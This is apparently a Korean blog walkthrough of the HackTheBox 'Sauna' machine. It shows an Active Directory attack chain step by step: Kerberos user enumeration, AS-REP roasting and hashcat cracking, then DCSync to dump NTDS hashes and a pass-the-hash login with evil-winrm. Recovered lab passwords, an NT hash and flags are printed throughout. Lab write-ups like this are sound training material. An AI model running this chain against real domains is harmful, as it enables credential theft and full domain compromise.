본문 바로가기
레드팀/HackTheBox

[HTB] Sauna 풀이

by jwcs 2026. 9. 5.
728x90
반응형

https://app.hackthebox.com/machines/Sauna?sort_by=created_at&sort_type=desc

 

Hack The Box

 

app.hackthebox.com

 

AS-REP Roasting을 활용해야하는 AD 문제다.

 

Enumeration

Nmap

ldap, smb 포트가 열려 있어 시도해봤지만 별다른 수확이 없었다. AD 문제이지만 80 포트가 열려 있어 확인해봤다.

 

http

about.html에서 직원 정보를 확인할 수 있다.

 

Foothold

user enumeration

username-anarchy --input-file http_users.txt | tee users.txt

위와 같이 user enumeration할 사용자 id 조합을 만들 수 있다.

 

커버로스 프로토콜은 특정 사용자 ID가 존재하는지에 대한 요청에 대해 존재하는지, 존재하지 않는지 응답해준다. 따라서 이 점을 이용해 user enumeration을 할 수 있다.

nmap -p 88 --script=krb5-enum-users --script-args krb5-enum-users.realm='EGOTISTICAL-BANK.LOCAL',userdb=users.txt 10.129.95.180

 

fsmith라는 계정이 존재하는 것을 확인했다.

 

AS-REPRoasting

어떤 유저가 존재하는지 알았으니 AS-REPRoasting이 가능하다.

impacket-GetNPUsers EGOTISTICAL-BANK.local/fsmith -request -dc-ip 10.129.95.180 -format hashcat -outputfile AS-REPRoastable.txt

참조: https://tools.thehacker.recipes/impacket/examples/getnpusers.py

 

GetNPUsers.py | The Hacker Tools

 

tools.thehacker.recipes

 

나온 결과 값으로 크랙 해주면 된다.

hashcat -m 18200 AS-REPRoastable.txt /usr/share/wordlists/rockyou.txt

fsmith:Thestrokes23

 

위와 같이 계정을 구했다.

71bcc6a4d2898c8c29ecd36444fba3ae

짜잔

 

Priviliege Escalation

windows 로컬 호스트에 대한 정보를 winpeas로 수집한 결과 아래와 같은 정보를 획득했다.

svc_loanmanager에 대한 크리덴셜을 획득했는데, 이는 레지스트리에 적힌 값으로, 실제 계정명은 다를 수 있다. 따라서 net user /domain을 통해 직접 확인하는 과정을 거쳐야한다.

 

실제로 확인해본 결과 svc_loanmgr인 것으로 예상된다. 따라서 획득한 크리덴셜은 아래와 같다.

svc_loanmgr : Moneymakestheworldgoround!

 

이를 바탕으로 블러드하운드를 돌려봤다.

nxc ldap 10.129.95.180 -u svc_loanmgr -p 'Moneymakestheworldgoround!' --bloodhound -c All --dns-server 10.129.95.180

그 결과 위와 같이 DCSync를 통해 ADMINISTRATOR 권한을 획득할 수 있다.

 

nxc smb 10.129.95.180 -u svc_loanmgr -p 'Moneymakestheworldgoround!' --ntds

위와 같이 ntds 옵션으로 계정들의 NT 해시를 확인할 수 있다.

이 NT 해시는 pass-the-hash로 winrm에 자격증명으로 사용할 수 있다.

 

evil-winrm -i 10.129.95.180 -u Administrator -H '823452073d75b9d1cf70ebdf86c7f98e'

e53e2ec0bb9dfe5c8175f9e97be5d7c0

짜잔

 

 

728x90
반응형

'레드팀 > HackTheBox' 카테고리의 다른 글

[HTB] Netmon 풀이  (0) 2026.08.30
[HTB] Jerry 풀이  (0) 2026.08.23
[HTB] Baby 풀이  (2) 2026.07.11
[HTB] Forest 풀이  (0) 2026.06.28
[HTB] Active 풀이  (0) 2026.06.21